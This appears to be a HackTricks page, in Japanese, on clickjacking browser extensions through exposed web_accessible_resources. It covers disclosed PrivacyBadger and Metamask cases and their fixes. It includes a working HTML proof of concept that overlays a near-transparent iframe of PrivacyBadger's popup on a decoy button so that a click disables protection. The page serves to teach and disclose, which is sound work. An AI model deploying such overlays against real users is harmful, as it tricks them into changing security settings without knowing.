BrowExt - ClickJacking

ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

HackTricks をサポートする他の方法:

基本情報

このページでは、ブラウザ拡張機能の ClickJacking 脆弱性を悪用します。 ClickJacking が何かわからない場合は、以下を確認してください:

pageClickjacking

拡張機能には manifest.json というファイルが含まれており、その JSON ファイルには web_accessible_resources というフィールドがあります。Chrome ドキュメント によると、次のように述べています:

これらのリソースは、chrome-extension://[PACKAGE ID]/[PATH] という URL を介してウェブページで利用できるようになります。これは extension.getURL メソッド で生成できます。ホワイトリストに登録されたリソースは適切な CORS ヘッダーで提供されるため、XHR などのメカニズムを介して利用できます。1

ブラウザ拡張機能内の web_accessible_resources はウェブを介してだけでなく、拡張機能固有の権限を持って動作します。これは次のことを可能にします:

  • 拡張機能の状態を変更する

  • 追加のリソースを読み込む

  • ある程度ブラウザとやり取りする

ただし、この機能にはセキュリティリスクがあります。web_accessible_resources 内のリソースに重要な機能がある場合、攻撃者はこのリソースを外部ウェブページに埋め込む可能性があります。このページを訪れる無疑のユーザーは、この埋め込まれたリソースを誤ってアクティブ化するかもしれません。このアクティブ化によって、拡張機能のリソースの権限や機能に応じて意図しない結果が生じる可能性があります。

PrivacyBadger の例

拡張機能 PrivacyBadger では、skin/ ディレクトリが以下のように web_accessible_resources として宣言されている脆弱性が特定されました(元の ブログ投稿 を参照してください)。

"web_accessible_resources": [
"skin/*",
"icons/*"
]

この構成は潜在的なセキュリティ問題を引き起こしました。具体的には、ブラウザでPrivacyBadgerアイコンをクリックすると表示されるskin/popup.htmlファイルがiframe内に埋め込まれる可能性があります。この埋め込みは、ユーザーを誤って「このウェブサイトのPrivacyBadgerを無効にする」をクリックさせるよう悪用される可能性があります。このような行動により、ユーザーのプライバシーが侵害され、PrivacyBadgerの保護が無効になり、ユーザーが追跡を受ける可能性が高まります。この脆弱性の実証として、ClickJackingのビデオ例が提供されています。https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webmで確認できます。

この脆弱性に対処するために、簡単な解決策が実装されました:web_accessible_resourcesのリストから/skin/*を削除すること。この変更により、skin/ディレクトリのコンテンツがWebアクセス可能なリソースを介してアクセスまたは操作されないようにリスクが効果的に軽減されました。

修正は簡単でした:web_accessible_resourcesから/skin/*を削除

PoC

<!--https://blog.lizzie.io/clickjacking-privacy-badger.html-->

<style>
iframe {
width: 430px;
height: 300px;
opacity: 0.01;
float: top;
position: absolute;
}

#stuff {
float: top;
position: absolute;
}

button {
float: top;
position: absolute;
top: 168px;
left: 100px;
}

</style>

<div id="stuff">
<h1>
Click the button
</h1>
<button id="button">
click me
</button>
</div>

<iframe src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
</iframe>

Metamaskの例

MetamaskのClickJackingに関するブログ投稿はこちらで見つけることができます。この場合、Metamaskは、アクセスに使用されるプロトコルが https: または http:(たとえば chrome: ではない)であることを確認することで脆弱性を修正しました:

Metamask拡張機能で修正された別のClickJackingは、ページが“web_accessible_resources”: [“inpage.js”, “phishing.html”]としてフィッシングの疑いがあると判断された場合に、ユーザーがClick to whitelistできることでした。そのページがClickjackingに対して脆弱であるため、攻撃者は被害者が気づかずにホワイトリストに登録するようにクリックさせるために通常のものを表示し、その後フィッシングページに戻ることができました。

Steam Inventory Helperの例

ブラウザ拡張機能のXSSClickJackingの脆弱性と連鎖した方法を確認するには、次のページをチェックしてください:

pageBrowExt - XSS Example

参考文献

ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)!

HackTricksをサポートする他の方法:

Last updated